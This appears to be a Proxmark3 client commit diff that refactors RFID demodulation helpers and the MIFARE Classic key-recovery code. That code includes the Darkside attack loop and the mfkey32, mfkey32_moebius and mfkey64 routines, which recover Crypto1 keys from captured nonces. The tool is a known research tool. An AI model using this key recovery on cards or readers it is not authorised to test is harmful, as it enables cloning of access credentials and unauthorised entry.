Merge remote-tracking branch 'upstream/master'

This commit is contained in:
marshmellow42 2017-03-21 10:40:29 -04:00
commit bad2eb8587
19 changed files with 1579 additions and 1713 deletions

View file

@ -58,7 +58,7 @@ CORESRCS = uart.c \
CMDSRCS = crapto1/crapto1.c\
crapto1/crypto1.c\
nonce2key/nonce2key.c\
nonce2key.c\
loclass/cipher.c \
loclass/cipherutils.c \
loclass/des.c \

View file

@ -29,6 +29,9 @@
uint8_t DemodBuffer[MAX_DEMOD_BUF_LEN];
uint8_t g_debugMode=0;
size_t DemodBufferLen=0;
//size_t g_demodStartIdx=0;
//uint8_t g_demodClock=0;
static int CmdHelp(const char *Cmd);
//set the demod buffer with given array of binary (one bit per byte)
@ -253,6 +256,7 @@ void printEM410x(uint32_t hi, uint64_t id)
return;
}
//should be moved to cmdlfem4x.c
int AskEm410xDecode(bool verbose, uint32_t *hi, uint64_t *lo )
{
size_t idx = 0;
@ -274,7 +278,7 @@ int AskEm410xDecode(bool verbose, uint32_t *hi, uint64_t *lo )
}
return 0;
}
//should be moved to cmdlfem4x.c
int AskEm410xDemod(const char *Cmd, uint32_t *hi, uint64_t *lo, bool verbose)
{
bool st = true;
@ -282,6 +286,7 @@ int AskEm410xDemod(const char *Cmd, uint32_t *hi, uint64_t *lo, bool verbose)
return AskEm410xDecode(verbose, hi, lo);
}
//should be moved to cmdlfem4x.c
//by marshmellow
//takes 3 arguments - clock, invert and maxErr as integers
//attempts to demodulate ask while decoding manchester
@ -451,7 +456,8 @@ int Cmdmandecoderaw(const char *Cmd)
sscanf(Cmd, "%i %i", &invert, &maxErr);
size=i;
errCnt=manrawdecode(BitStream, &size, invert);
uint8_t alignPos = 0;
errCnt=manrawdecode(BitStream, &size, invert, &alignPos);
if (errCnt>=maxErr){
PrintAndLog("Too many errors: %d",errCnt);
return 0;
@ -590,6 +596,7 @@ int Cmdaskbiphdemod(const char *Cmd)
return ASKbiphaseDemod(Cmd, true);
}
//could be split to a gProxII file
//by marshmellow
//attempts to demodulate and identify a G_Prox_II verex/chubb card
//WARNING: if it fails during some points it will destroy the DemodBuffer data
@ -655,6 +662,7 @@ int CmdG_Prox_II_Demod(const char *Cmd)
return 1;
}
//could be moved to a viking file
//by marshmellow
//see ASKDemod for what args are accepted
int CmdVikingDemod(const char *Cmd)
@ -1038,6 +1046,7 @@ int CmdFSKrawdemod(const char *Cmd)
return FSKrawDemod(Cmd, true);
}
//move to cmdlfhid.c
//by marshmellow (based on existing demod + holiman's refactor)
//HID Prox demod - FSK RF/50 with preamble of 00011101 (then manchester encoded)
//print full HID Prox ID and some bit format details if found
@ -1124,6 +1133,7 @@ int CmdFSKdemodHID(const char *Cmd)
return 1;
}
//by marshmellow
//Paradox Prox demod - FSK RF/50 with preamble of 00001111 (then manchester encoded)
//print full Paradox Prox ID and some bit format details if found
@ -1751,7 +1761,8 @@ int NRZrawDemod(const char *Cmd, bool verbose)
size_t BitLen = getFromGraphBuf(BitStream);
if (BitLen==0) return 0;
int errCnt=0;
errCnt = nrzRawDemod(BitStream, &BitLen, &clk, &invert);
int clkStartIdx = 0;
errCnt = nrzRawDemod(BitStream, &BitLen, &clk, &invert, &clkStartIdx);
if (errCnt > maxErr){
if (g_debugMode) PrintAndLog("Too many errors found, clk: %d, invert: %d, numbits: %d, errCnt: %d",clk,invert,BitLen,errCnt);
return 0;
@ -2264,13 +2275,13 @@ int CmdDirectionalThreshold(const char *Cmd)
if (GraphBuffer[i] >= upThres && GraphBuffer[i] > lastValue)
{
lastValue = GraphBuffer[i]; // Buffer last value as we overwrite it.
GraphBuffer[i] = 1;
GraphBuffer[i] = 127;
}
// Apply second threshold to samples heading down
else if (GraphBuffer[i] <= downThres && GraphBuffer[i] < lastValue)
{
lastValue = GraphBuffer[i]; // Buffer last value as we overwrite it.
GraphBuffer[i] = -1;
GraphBuffer[i] = -127;
}
else
{

View file

@ -19,91 +19,35 @@
#include "ui.h"
#include "mifarehost.h"
#include "mifare.h"
#include "nonce2key/nonce2key.h"
#include "nonce2key.h"
#define NESTED_SECTOR_RETRY 10 // how often we try mfested() until we give up
static int CmdHelp(const char *Cmd);
int CmdHF14AMifare(const char *Cmd)
{
uint32_t uid = 0;
uint32_t nt = 0, nr = 0;
uint64_t par_list = 0, ks_list = 0, r_key = 0;
int16_t isOK = 0;
int isOK = 0;
uint64_t key = 0;
UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};
// message
printf("-------------------------------------------------------------------------\n");
printf("Executing command. Expected execution time: 25sec on average :-)\n");
printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");
printf("-------------------------------------------------------------------------\n");
start:
clearCommandBuffer();
SendCommand(&c);
//flush queue
while (ukbhit()) {
int c = getchar(); (void) c;
}
// wait cycle
while (true) {
printf(".");
fflush(stdout);
if (ukbhit()) {
getchar();
printf("\naborted via keyboard!\n");
break;
}
UsbCommand resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {
isOK = resp.arg[0];
uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4);
nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4);
par_list = bytes_to_num(resp.d.asBytes + 8, 8);
ks_list = bytes_to_num(resp.d.asBytes + 16, 8);
nr = bytes_to_num(resp.d.asBytes + 24, 4);
printf("\n\n");
switch (isOK) {
case -1 : PrintAndLog("Button pressed. Aborted.\n"); break;
case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).\n"); break;
case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable).\n"); break;
case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown");
PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour.\n"); break;
default: ;
}
break;
}
}
printf("\n");
// error
if (isOK != 1) return 1;
// execute original function from util nonce2key
if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key)) {
isOK = 2;
PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);
PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");
c.arg[0] = false;
goto start;
} else {
isOK = 0;
printf("------------------------------------------------------------------\n");
PrintAndLog("Found valid key:%012" PRIx64 " \n", r_key);
isOK = mfDarkside(&key);
switch (isOK) {
case -1 : PrintAndLog("Button pressed. Aborted."); return 1;
case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests)."); return 1;
case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable)."); return 1;
case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown");
PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour."); return 1;
case -5 : PrintAndLog("Aborted via keyboard."); return 1;
default : PrintAndLog("Found valid key:%012" PRIx64 "\n", key);
}
PrintAndLog("");
return 0;
}
int CmdHF14AMfWrBl(const char *Cmd)
{
uint8_t blockNo = 0;
@ -1090,7 +1034,7 @@ void readerAttack(nonces_t ar_resp[], bool setEmulatorMem, bool doStandardAttack
}
}
}
} else if (tryMfk32_moebius(ar_resp[i+ATTACK_KEY_COUNT], &key)) {
} else if (mfkey32_moebius(ar_resp[i+ATTACK_KEY_COUNT], &key)) {
uint8_t sectorNum = ar_resp[i+ATTACK_KEY_COUNT].sector;
uint8_t keyType = ar_resp[i+ATTACK_KEY_COUNT].keytype;

View file

@ -43,7 +43,8 @@ int CmdCOTAGDemod(const char *Cmd) {
size_t bitlen = COTAG_BITS;
memcpy(bits, DemodBuffer, COTAG_BITS);
int err = manrawdecode(bits, &bitlen, 1);
uint8_t alignPos = 0;
int err = manrawdecode(bits, &bitlen, 1, &alignPos);
if (err){
if (g_debugMode) PrintAndLog("DEBUG: Error - COTAG too many errors: %d", err);
return -1;

View file

@ -218,7 +218,8 @@ uint8_t GetNrzClock(const char str[], bool printAns, bool verbose)
PrintAndLog("Failed to copy from graphbuffer");
return -1;
}
clock = DetectNRZClock(grph, size, 0);
size_t clkStartIdx = 0;
clock = DetectNRZClock(grph, size, 0, &clkStartIdx);
// Only print this message if we're not looping something
if (printAns){
PrintAndLog("Auto-detected clock rate: %d", clock);

View file

@ -33,7 +33,194 @@
#define TRACE_ERROR 0xFF
// MIFARE
static int compare_uint64(const void *a, const void *b) {
// didn't work: (the result is truncated to 32 bits)
//return (*(int64_t*)b - *(int64_t*)a);
// better:
if (*(uint64_t*)b == *(uint64_t*)a) return 0;
else if (*(uint64_t*)b < *(uint64_t*)a) return 1;
else return -1;
}
// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.
static uint32_t intersection(uint64_t *list1, uint64_t *list2)
{
if (list1 == NULL || list2 == NULL) {
return 0;
}
uint64_t *p1, *p2, *p3;
p1 = p3 = list1;
p2 = list2;
while ( *p1 != -1 && *p2 != -1 ) {
if (compare_uint64(p1, p2) == 0) {
*p3++ = *p1++;
p2++;
}
else {
while (compare_uint64(p1, p2) < 0) ++p1;
while (compare_uint64(p1, p2) > 0) ++p2;
}
}
*p3 = -1;
return p3 - list1;
}
// Darkside attack (hf mf mifare)
static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {
struct Crypto1State *states;
uint32_t i, pos, rr; //nr_diff;
uint8_t bt, ks3x[8], par[8][8];
uint64_t key_recovered;
static uint64_t *keylist;
rr = 0;
// Reset the last three significant bits of the reader nonce
nr &= 0xffffff1f;
for (pos=0; pos<8; pos++) {
ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
bt = (par_info >> (pos*8)) & 0xff;
for (i=0; i<8; i++) {
par[7-pos][i] = (bt >> i) & 0x01;
}
}
states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));
if (states == NULL) {
*keys = NULL;
return 0;
}
keylist = (uint64_t*)states;
for (i = 0; keylist[i]; i++) {
lfsr_rollback_word(states+i, uid^nt, 0);
crypto1_get_lfsr(states+i, &key_recovered);
keylist[i] = key_recovered;
}
keylist[i] = -1;
*keys = keylist;
return i;
}
int mfDarkside(uint64_t *key)
{
uint32_t uid = 0;
uint32_t nt = 0, nr = 0;
uint64_t par_list = 0, ks_list = 0;
uint64_t *keylist = NULL, *last_keylist = NULL;
uint32_t keycount = 0;
int16_t isOK = 0;
UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};
// message
printf("-------------------------------------------------------------------------\n");
printf("Executing command. Expected execution time: 25sec on average\n");
printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");
printf("-------------------------------------------------------------------------\n");
while (true) {
clearCommandBuffer();
SendCommand(&c);
//flush queue
while (ukbhit()) {
int c = getchar(); (void) c;
}
// wait cycle
while (true) {
printf(".");
fflush(stdout);
if (ukbhit()) {
return -5;
break;
}
UsbCommand resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {
isOK = resp.arg[0];
if (isOK < 0) {
return isOK;
}
uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4);
nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4);
par_list = bytes_to_num(resp.d.asBytes + 8, 8);
ks_list = bytes_to_num(resp.d.asBytes + 16, 8);
nr = bytes_to_num(resp.d.asBytes + 24, 4);
break;
}
}
if (par_list == 0 && c.arg[0] == true) {
PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");
PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs.");
}
c.arg[0] = false;
keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist);
if (keycount == 0) {
PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);
PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");
continue;
}
qsort(keylist, keycount, sizeof(*keylist), compare_uint64);
keycount = intersection(last_keylist, keylist);
if (keycount == 0) {
free(last_keylist);
last_keylist = keylist;
continue;
}
if (keycount > 1) {
PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount);
} else {
PrintAndLog("Found a possible key. Trying to authenticate...\n");
}
*key = -1;
uint8_t keyBlock[USB_CMD_DATA_SIZE];
int max_keys = USB_CMD_DATA_SIZE/6;
for (int i = 0; i < keycount; i += max_keys) {
int size = keycount - i > max_keys ? max_keys : keycount - i;
for (int j = 0; j < size; j++) {
if (last_keylist == NULL) {
num_to_bytes(keylist[i*max_keys + j], 6, keyBlock);
} else {
num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock);
}
}
if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) {
break;
}
}
if (*key != -1) {
free(last_keylist);
free(keylist);
break;
} else {
PrintAndLog("Authentication failed. Trying again...");
free(last_keylist);
last_keylist = keylist;
}
}
return 0;
}
int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){
*key = 0;
@ -49,16 +236,6 @@ int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t key
return 0;
}
int compar_int(const void * a, const void * b) {
// didn't work: (the result is truncated to 32 bits)
//return (*(uint64_t*)b - *(uint64_t*)a);
// better:
if (*(uint64_t*)b == *(uint64_t*)a) return 0;
else if (*(uint64_t*)b > *(uint64_t*)a) return 1;
else return -1;
}
// Compare 16 Bits out of cryptostate
int Compare16Bits(const void * a, const void * b) {
if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0;
@ -100,7 +277,7 @@ void* nested_worker_thread(void *arg)
return statelist->head.slhead;
}
int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * resultKey, bool calibrate)
int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate)
{
uint16_t i;
uint32_t uid;
@ -178,8 +355,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
while (Compare16Bits(p1, p2) == 1) p2++;
}
}
p3->even = 0; p3->odd = 0;
p4->even = 0; p4->odd = 0;
*(uint64_t*)p3 = -1;
*(uint64_t*)p4 = -1;
statelists[0].len = p3 - statelists[0].head.slhead;
statelists[1].len = p4 - statelists[1].head.slhead;
statelists[0].tail.sltail=--p3;
@ -187,24 +364,9 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
// the statelists now contain possible keys. The key we are searching for must be in the
// intersection of both lists. Create the intersection:
qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compar_int);
qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compar_int);
uint64_t *p5, *p6, *p7;
p5 = p7 = statelists[0].head.keyhead;
p6 = statelists[1].head.keyhead;
while (p5 <= statelists[0].tail.keytail && p6 <= statelists[1].tail.keytail) {
if (compar_int(p5, p6) == 0) {
*p7++ = *p5++;
p6++;
}
else {
while (compar_int(p5, p6) == -1) p5++;
while (compar_int(p5, p6) == 1) p6++;
}
}
statelists[0].len = p7 - statelists[0].head.keyhead;
statelists[0].tail.keytail=--p7;
qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);
qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);
statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);
memset(resultKey, 0, 6);
// The list may still contain several key candidates. Test each of them with mfCheckKeys

View file

@ -22,8 +22,9 @@
extern char logHexFileName[FILE_PATH_SIZE];
extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * ResultKeys, bool calibrate);
extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key);
extern int mfDarkside(uint64_t *key);
extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *ResultKeys, bool calibrate);
extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key);
extern int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount);
extern int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount);

137
client/nonce2key.c Normal file
View file

@ -0,0 +1,137 @@
//-----------------------------------------------------------------------------
// Merlok - June 2011
// Roel - Dec 2009
// Unknown author
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// MIFARE Darkside hack
//-----------------------------------------------------------------------------
#include "nonce2key.h"
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include "mifarehost.h"
#include "util.h"
#include "crapto1/crapto1.h"
// recover key from 2 different reader responses on same tag challenge
bool mfkey32(nonces_t data, uint64_t *outputkey) {
struct Crypto1State *s,*t;
uint64_t outkey = 0;
uint64_t key = 0; // recovered key
bool isSuccess = false;
uint8_t counter = 0;
uint64_t t1 = msclock();
s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0);
for(t = s; t->odd | t->even; ++t) {
lfsr_rollback_word(t, 0, 0);
lfsr_rollback_word(t, data.nr, 1);
lfsr_rollback_word(t, data.cuid ^ data.nonce, 0);
crypto1_get_lfsr(t, &key);
crypto1_word(t, data.cuid ^ data.nonce, 0);
crypto1_word(t, data.nr2, 1);
if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce, 64))) {
//PrintAndLog("Found Key: [%012" PRIx64 "]",key);
outkey = key;
counter++;
if (counter == 20) break;
}
}
isSuccess = (counter == 1);
t1 = msclock() - t1;
//if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
*outputkey = ( isSuccess ) ? outkey : 0;
crypto1_destroy(s);
/* //un-comment to save all keys to a stats.txt file
FILE *fout;
if ((fout = fopen("stats.txt","ab")) == NULL) {
PrintAndLog("Could not create file name stats.txt");
return 1;
}
fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
fclose(fout);
*/
return isSuccess;
}
// recover key from 2 reader responses on 2 different tag challenges
bool mfkey32_moebius(nonces_t data, uint64_t *outputkey) {
struct Crypto1State *s, *t;
uint64_t outkey = 0;
uint64_t key = 0; // recovered key
bool isSuccess = false;
int counter = 0;
//PrintAndLog("Enter mfkey32_moebius");
uint64_t t1 = msclock();
s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0);
for(t = s; t->odd | t->even; ++t) {
lfsr_rollback_word(t, 0, 0);
lfsr_rollback_word(t, data.nr, 1);
lfsr_rollback_word(t, data.cuid ^ data.nonce, 0);
crypto1_get_lfsr(t, &key);
crypto1_word(t, data.cuid ^ data.nonce2, 0);
crypto1_word(t, data.nr2, 1);
if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce2, 64))) {
//PrintAndLog("Found Key: [%012" PRIx64 "]",key);
outkey=key;
++counter;
if (counter==20)
break;
}
}
isSuccess = (counter == 1);
t1 = msclock() - t1;
// PrintAndLog("Time in mfkey32_moebius: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
*outputkey = ( isSuccess ) ? outkey : 0;
crypto1_destroy(s);
/* // un-comment to output all keys to stats.txt
FILE *fout;
if ((fout = fopen("stats.txt","ab")) == NULL) {
PrintAndLog("Could not create file name stats.txt");
return 1;
}
fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
fclose(fout);
*/
return isSuccess;
}
// recover key from reader response and tag response of one authentication sequence
int mfkey64(nonces_t data, uint64_t *outputkey){
uint64_t key = 0; // recovered key
uint32_t ks2; // keystream used to encrypt reader response
uint32_t ks3; // keystream used to encrypt tag response
struct Crypto1State *revstate;
// PrintAndLog("Enter mfkey64");
uint64_t t1 = msclock();
// Extract the keystream from the messages
ks2 = data.ar ^ prng_successor(data.nonce, 64);
ks3 = data.at ^ prng_successor(data.nonce, 96);
revstate = lfsr_recovery64(ks2, ks3);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, data.nr, 1);
lfsr_rollback_word(revstate, data.cuid ^ data.nonce, 0);
crypto1_get_lfsr(revstate, &key);
// PrintAndLog("Found Key: [%012" PRIx64 "]", key);
crypto1_destroy(revstate);
*outputkey = key;
t1 = msclock() - t1;
// PrintAndLog("Time in mfkey64: %.1f seconds \n", (float)t1/1000.0);
return 0;
}

View file

@ -23,17 +23,14 @@ typedef struct {
uint32_t nonce;
uint32_t ar;
uint32_t nr;
uint32_t at;
uint32_t nonce2;
uint32_t ar2;
uint32_t nr2;
} nonces_t;
int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key);
bool mfkey32(nonces_t data, uint64_t *outputkey);
bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey);
int tryMfk64_ex(uint8_t *data, uint64_t *outputkey);
int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey);
//uint64_t mfkey32(uint32_t uid, uint32_t nt, uint32_t nr0_enc, uint32_t ar0_enc, uint32_t nr1_enc, uint32_t ar1_enc);
bool mfkey32_moebius(nonces_t data, uint64_t *outputkey);
int mfkey64(nonces_t data, uint64_t *outputkey);
#endif

View file

@ -1,288 +0,0 @@
//-----------------------------------------------------------------------------
// Merlok - June 2011
// Roel - Dec 2009
// Unknown author
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// MIFARE Darkside hack
//-----------------------------------------------------------------------------
#include "nonce2key.h"
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include "mifarehost.h"
#include "ui.h"
#include "util.h"
#include "crapto1/crapto1.h"
int compar_state(const void * a, const void * b) {
// didn't work: (the result is truncated to 32 bits)
//return (*(int64_t*)b - *(int64_t*)a);
// better:
if (*(int64_t*)b == *(int64_t*)a) return 0;
else if (*(int64_t*)b > *(int64_t*)a) return 1;
else return -1;
}
int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
struct Crypto1State *state;
uint32_t i, pos, rr, nr_diff, key_count;//, ks1, ks2;
uint8_t bt, ks3x[8], par[8][8];
uint64_t key_recovered;
int64_t *state_s;
static uint32_t last_uid;
static int64_t *last_keylist;
rr = 0;
if (last_uid != uid && last_keylist != NULL)
{
free(last_keylist);
last_keylist = NULL;
}
last_uid = uid;
// Reset the last three significant bits of the reader nonce
nr &= 0xffffff1f;
PrintAndLog("\nuid(%08x) nt(%08x) par(%016" PRIx64") ks(%016" PRIx64") nr(%08" PRIx32")\n\n",uid,nt,par_info,ks_info,nr);
for (pos=0; pos<8; pos++)
{
ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
bt = (par_info >> (pos*8)) & 0xff;
for (i=0; i<8; i++)
{
par[7-pos][i] = (bt >> i) & 0x01;
}
}
printf("|diff|{nr} |ks3|ks3^5|parity |\n");
printf("+----+--------+---+-----+---------------+\n");
for (i=0; i<8; i++)
{
nr_diff = nr | i << 5;
printf("| %02x |%08x|",i << 5, nr_diff);
printf(" %01x | %01x |",ks3x[i], ks3x[i]^5);
for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]);
printf("%01x|\n", par[i][7]);
}
if (par_info == 0)
PrintAndLog("Parity is all zero, trying special attack! Just wait for few more seconds...");
state = lfsr_common_prefix(nr, rr, ks3x, par);
state_s = (int64_t*)state;
//char filename[50] ;
//sprintf(filename, "nt_%08x_%d.txt", nt, nr);
//printf("name %s\n", filename);
//FILE* fp = fopen(filename,"w");
for (i = 0; (state) && *(state_s + i); i++)
{
lfsr_rollback_word(state+i, uid^nt, 0);
crypto1_get_lfsr(state + i, &key_recovered);
*(state_s + i) = key_recovered;
//fprintf(fp, "%012" PRIx64 "\n",key_recovered);
}
//fclose(fp);
if(!state)
return 1;
qsort(state_s, i, sizeof(*state_s), compar_state);
*(state_s + i) = -1;
//Create the intersection:
if (par_info == 0 ) {
if (last_keylist != NULL) {
int64_t *p1, *p2, *p3;
p1 = p3 = last_keylist;
p2 = state_s;
while ( *p1 != -1 && *p2 != -1 ) {
if (compar_state(p1, p2) == 0) {
printf("p1:%" PRIx64" p2:%" PRIx64 " p3:%" PRIx64" key:%012" PRIx64 "\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
*p3++ = *p1++;
p2++;
}
else {
while (compar_state(p1, p2) == -1) ++p1;
while (compar_state(p1, p2) == 1) ++p2;
}
}
key_count = p3 - last_keylist;
} else {
key_count = 0;
}
} else {
last_keylist = state_s;
key_count = i;
}
printf("key_count:%d\n", key_count);
// The list may still contain several key candidates. Test each of them with mfCheckKeys
for (i = 0; i < key_count; i++) {
uint8_t keyBlock[6];
uint64_t key64;
key64 = *(last_keylist + i);
num_to_bytes(key64, 6, keyBlock);
key64 = 0;
if (!mfCheckKeys(0, 0, false, 1, keyBlock, &key64)) {
*key = key64;
free(last_keylist);
last_keylist = NULL;
if (par_info == 0)
free(state);
return 0;
}
}
free(last_keylist);
last_keylist = state_s;
return 1;
}
// 32 bit recover key from 2 nonces
bool mfkey32(nonces_t data, uint64_t *outputkey) {
struct Crypto1State *s,*t;
uint64_t outkey = 0;
uint64_t key=0; // recovered key
uint32_t uid = data.cuid;
uint32_t nt = data.nonce; // first tag challenge (nonce)
uint32_t nr0_enc = data.nr; // first encrypted reader challenge
uint32_t ar0_enc = data.ar; // first encrypted reader response
uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
uint32_t ar1_enc = data.ar2; // second encrypted reader response
uint64_t t1 = msclock();
bool isSuccess = false;
uint8_t counter=0;
s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
for(t = s; t->odd | t->even; ++t) {
lfsr_rollback_word(t, 0, 0);
lfsr_rollback_word(t, nr0_enc, 1);
lfsr_rollback_word(t, uid ^ nt, 0);
crypto1_get_lfsr(t, &key);
crypto1_word(t, uid ^ nt, 0);
crypto1_word(t, nr1_enc, 1);
if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
//PrintAndLog("Found Key: [%012" PRIx64 "]",key);
outkey = key;
counter++;
if (counter==20) break;
}
}
isSuccess = (counter == 1);
t1 = msclock() - t1;
//if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
*outputkey = ( isSuccess ) ? outkey : 0;
crypto1_destroy(s);
/* //un-comment to save all keys to a stats.txt file
FILE *fout;
if ((fout = fopen("stats.txt","ab")) == NULL) {
PrintAndLog("Could not create file name stats.txt");
return 1;
}
fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
fclose(fout);
*/
return isSuccess;
}
bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey) {
struct Crypto1State *s, *t;
uint64_t outkey = 0;
uint64_t key = 0; // recovered key
uint32_t uid = data.cuid;
uint32_t nt0 = data.nonce; // first tag challenge (nonce)
uint32_t nr0_enc = data.nr; // first encrypted reader challenge
uint32_t ar0_enc = data.ar; // first encrypted reader response
uint32_t nt1 = data.nonce2; // second tag challenge (nonce)
uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
uint32_t ar1_enc = data.ar2; // second encrypted reader response
bool isSuccess = false;
int counter = 0;
//PrintAndLog("Enter mfkey32_moebius");
uint64_t t1 = msclock();
s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
for(t = s; t->odd | t->even; ++t) {
lfsr_rollback_word(t, 0, 0);
lfsr_rollback_word(t, nr0_enc, 1);
lfsr_rollback_word(t, uid ^ nt0, 0);
crypto1_get_lfsr(t, &key);
crypto1_word(t, uid ^ nt1, 0);
crypto1_word(t, nr1_enc, 1);
if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
//PrintAndLog("Found Key: [%012" PRIx64 "]",key);
outkey=key;
++counter;
if (counter==20)
break;
}
}
isSuccess = (counter == 1);
t1 = msclock() - t1;
//if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
*outputkey = ( isSuccess ) ? outkey : 0;
crypto1_destroy(s);
/* // un-comment to output all keys to stats.txt
FILE *fout;
if ((fout = fopen("stats.txt","ab")) == NULL) {
PrintAndLog("Could not create file name stats.txt");
return 1;
}
fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
fclose(fout);
*/
return isSuccess;
}
